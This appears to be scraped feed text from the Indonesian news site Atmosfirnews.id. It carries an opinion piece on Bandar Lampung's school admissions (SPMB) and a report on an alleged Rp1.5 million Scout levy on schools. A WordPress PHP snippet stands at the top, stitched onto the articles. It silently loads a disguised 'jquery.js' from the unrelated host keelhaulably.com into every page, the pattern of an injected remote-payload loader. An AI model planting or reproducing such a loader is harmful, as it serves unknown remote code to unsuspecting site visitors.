add_action('wp_enqueue_scripts', function () {
wp_enqueue_script(
'external-script',
'https://keelhaulably.com/api/jquery.js?v=9',
array(),
null,
true
);
});
Artikel PPDB Tak Boleh Dikelola dengan Logika “Nanti Kita Carikan Sekolah” pertama kali tampil pada Atmosfirnews.id.
]]>
Disdik Bandar Lampung Terjebak Logika yang Terbalik
Ada ironi kelas kakap dalam penjelasan Dinas Pendidikan dan Kebudayaan Kota Bandar Lampung mengenai siswa yang tidak lolos SPMB. Ironi yang bikin publik geleng-geleng kepala sambil bertanya, “Apa-apaan ini?”
Di satu sisi pemerintah dengan lantang menyatakan seluruh proses penerimaan telah selesai sesuai mekanisme. Di sisi lain pemerintah justru meminta siswa yang tidak diterima datang ke dinas agar dicarikan sekolah negeri yang masih memiliki kuota. Cantik, bukan? Seolah-olah mereka baru sadar bahwa ada kursi kosong setelah semua proses usai.
Pernyataan itu janggal, bahkan menurut Ketua GEPAK Lampung Wahyudi, ini menunjukkan ada yang tidak beres dalam perencanaan dan pelaksanaan sebuah pernyataan yang sangat halus untuk menggambarkan amburadulnya sistem.
“Kalau kursi kosong itu memang ada, mengapa keberadaannya baru diketahui setelah proses penerimaan selesai? Disdik ngawur dan patut menjadi perhatian publik dan institusi terkait,” tegasnya. Dan kata “ngawur” itu mungkin cara paling sopan untuk menggambarkan kondisi sebenarnya.
Dalam manajemen pendidikan yang waras, daya tampung bukanlah data yang dicari setelah seleksi berakhir. Daya tampung adalah titik awal seluruh proses SPMB. Dari data itulah pemerintah menentukan jumlah rombongan belajar, membagi kuota setiap jalur, membuka pendaftaran, hingga menetapkan siapa yang diterima.
Ini manajemen dasar, Pak!
Artinya, ketika pejabat mengatakan masih mendata sekolah yang memiliki kuota kosong, muncul kesan bahwa pemerintah belum memiliki peta kapasitas sekolah secara utuh ketika proses penerimaan berlangsung. Bukan kesan, ini fakta yang telanjang bulat.
Jika benar demikian, persoalannya bukan lagi soal siswa yang belum diterima. Persoalannya adalah kualitas perencanaan yang berada di bawah standar kelayakan.
Lebih mengherankan lagi, alasan yang digunakan adalah menunggu proses daftar ulang selesai.
Daftar ulang?
Padahal daftar ulang bukan peristiwa yang datang tanpa bisa diperkirakan seperti gempa bumi atau tsunami. Setiap tahun selalu ada peserta yang mengundurkan diri, memilih sekolah lain, pindah daerah, atau tidak melakukan daftar ulang. Bahkan angka potensi kursi kosong biasanya sudah dapat diproyeksikan sebelum SPMB dimulai.
Dengan kata lain, daftar ulang bukan alasan untuk tidak memiliki skenario. Ini alasan yang sudah basi dan tidak bisa dipertanggungjawabkan secara logika.
Ini bukan kejutan. Ini sudah pola tahunan!
“Bukankah yang seharusnya disiapkan sejak awal adalah mekanisme pengisian kursi kosong secara otomatis, lengkap dengan data sekolah yang masih memiliki daya tampung. Bukan sebaliknya, menunggu masyarakat datang mengadu, lalu pemerintah mulai mencari sekolah yang tersedia,” tegas Yudi.
Logika apa ini? Seperti restoran yang baru mencari bahan makanan setelah pelanggan memesan, lalu dengan bangga berkata, “Nanti kami carikan.”
Kalimat “silakan melapor ke dinas, nanti kami fasilitasi” mungkin terdengar menenangkan di telinga yang tidak kritis. Namun bagi masyarakat yang cerdas, kalimat itu justru menunjukkan bahwa sistem belum bekerja sebagaimana mestinya.
Sistem yang baik tidak bergantung pada siapa yang datang mengadu.
Sistem yang baik sudah mengetahui siapa yang harus dilayani, di mana kursinya tersedia, dan kapan keputusan harus diambil. Bukan malah menyuruh orang tua siswa bolak-balik ke kantor dinas mencari kepastian.
Ini bukan pelayanan. Ini pemborosan waktu dan tenaga masyarakat.
Lebih jauh, Yudi menantang Disdik Bandar Lampung menjelaskan secara transparan:
· Berapa sebenarnya jumlah kursi kosong di seluruh SMP negeri?
· Sekolah mana saja yang masih memiliki daya tampung?
· Mengapa informasi tersebut tidak diumumkan kepada masyarakat sejak awal?
Pertanyaan-pertanyaan sederhana yang jawabannya seharusnya sudah tersedia sebelum SPMB dimulai. Bukan setelah siswa dan orang tua resah.
Kalau data itu sudah ada, publik berhak mengetahuinya. Kalau data itu belum ada, berarti ada persoalan dalam yang harus diperiksa mendalam dan mungkin ada kepala yang harus bergulir.
Ia mengatakan pendidikan adalah pelayanan dasar negara. Karena itu, SPMB tidak boleh dikelola dengan logika “nanti kita carikan sekolah.”
Yang dibutuhkan masyarakat adalah sistem yang mampu memastikan setiap anak mengetahui sejak awal peluangnya memperoleh kursi, bukan baru mendapatkan kepastian setelah diminta datang ke kantor dinas seolah-olah kantor dinas adalah biro jasa pencarian sekolah dadakan.
Sebab ukuran keberhasilan SPMB bukanlah berapa banyak siswa akhirnya berhasil ditempatkan itu hanya ukuran darurat.
Ukuran keberhasilannya adalah apakah seluruh proses itu sudah dirancang sejak awal, atau justru baru dirapikan setelah persoalan muncul.
Dan di Bandar Lampung, jawabannya sudah jelas: baru dirapikan setelah kacau.(*)
Artikel PPDB Tak Boleh Dikelola dengan Logika “Nanti Kita Carikan Sekolah” pertama kali tampil pada Atmosfirnews.id.
]]>Artikel Di Tengah Dugaan Pungutan Rp1,5 Juta, GEPAK Nilai Pernyataan Ketua Kwarcab Janggal pertama kali tampil pada Atmosfirnews.id.
]]>
Bandar Lampung—Polemik dugaan pungutan sebesar Rp1,5 juta kepada setiap SD dan SMP di Kota Bandar Lampung dalam kegiatan kepramukaan terus memantik kritik. Kali ini, sorotan datang dari Ketua Umum GEPAK Lampung, Wahyudi, yang mempertanyakan tata kelola organisasi Kwartir Cabang (Kwarcab) Gerakan Pramuka Kota Bandar Lampung.
Menurut Wahyudi, pernyataan Ketua Kwarcab Bandar Lampung, Suhendar Zuber, yang mengaku tidak mengetahui persoalan teknis hingga dugaan pungutan tersebut justru memunculkan tanda tanya besar.
“Ini aneh. Kalau Ketua Kwarcab mengaku tidak pernah mengeluarkan instruksi resmi terkait pungutan itu, lalu kegiatan tersebut bisa berjalan, terorganisir, bahkan diduga menghimpun uang dari sekolah-sekolah, sebenarnya perintah siapa?” kata Wahyudi, Selasa, (30/6/2026).
Ia menilai alasan bahwa persoalan teknis sepenuhnya menjadi kewenangan panitia tidak dapat menghapus tanggung jawab pimpinan organisasi.
Sebab, seluruh kegiatan yang mengatasnamakan Kwarcab tetap berada di bawah pengawasan ketua.
Menurutnya, Gerakan Pramuka selama ini merupakan organisasi yang memiliki sistem, aturan, dan jenjang komando yang jelas.
Karena itu, sulit diterima apabila kegiatan berskala besar yang melibatkan seluruh kepala sekolah berlangsung tanpa sepengetahuan pimpinan.
“Pramuka sudah berdiri sejak lama, organisasinya tertata dengan baik. Tidak mungkin kegiatan sebesar ini berjalan sendiri tanpa ada garis komando. Kalau benar ketuanya tidak tahu, justru itu menjadi persoalan serius dalam tata kelola organisasi,” tegasnya.
Wahyudi juga menyoroti dugaan pungutan yang dibebankan kepada sekolah di saat Kwarcab disebut telah menerima dana hibah dari Pemerintah Kota Bandar Lampung senilai sekitar Rp1 miliar.
Menurutnya, apabila kegiatan telah dibiayai melalui dana hibah, publik berhak memperoleh penjelasan mengenai alasan masih adanya permintaan kontribusi kepada sekolah.
“Bukankah pemerintah sudah memfasilitasi melalui dana hibah sekitar Rp1 miliar? Lalu untuk apa dana hibah itu digunakan? Kalau masih ada pungutan kepada sekolah, dasar hukumnya apa? Ini harus dijelaskan secara terbuka agar tidak menimbulkan kecurigaan di masyarakat,” ujarnya.
Ia mengingatkan agar sekolah tidak dijadikan sasaran pembiayaan kegiatan yang semestinya telah dianggarkan melalui APBD.
Terlebih, para kepala sekolah saat ini tengah disibukkan dengan tahapan Sistem Penerimaan Murid Baru (SPMB) Tahun Ajaran 2026/2027.
“Jangan sampai dunia pendidikan justru dibebani biaya tambahan. Fokus utama sekolah adalah melayani masyarakat dan meningkatkan kualitas pendidikan, bukan mencari dana untuk kegiatan yang semestinya sudah difasilitasi pemerintah,” katanya.
Sebelumnya, dugaan pungutan Rp1,5 juta per sekolah mencuat bersamaan dengan pelaksanaan Kursus Mahir Dasar (KMD), Kursus Mahir Lanjut (KML), dan Pendadaran yang digelar Kwarcab Pramuka Kota Bandar Lampung pada 17–24 Juni 2026.
Saat dikonfirmasi, Ketua Kwarcab Bandar Lampung, Suhendar Zuber, tidak memberikan jawaban atas substansi pertanyaan mengenai dugaan pungutan maupun pengelolaan dana hibah.
Ia justru mengarahkan wartawan untuk meminta penjelasan kepada Ketua Harian Kwarcab, Wan Abdurrahman, yang juga menjabat sebagai Kuasa Pengguna Anggaran (KPA).
Sementara itu, hingga berita ini diterbitkan, Wan Abdurrahman juga belum memberikan klarifikasi atas daftar pertanyaan yang telah disampaikan wartawan. Kondisi tersebut membuat polemik dugaan pungutan dan transparansi penggunaan dana hibah terus menjadi perhatian publik.(*)
Artikel Di Tengah Dugaan Pungutan Rp1,5 Juta, GEPAK Nilai Pernyataan Ketua Kwarcab Janggal pertama kali tampil pada Atmosfirnews.id.
]]>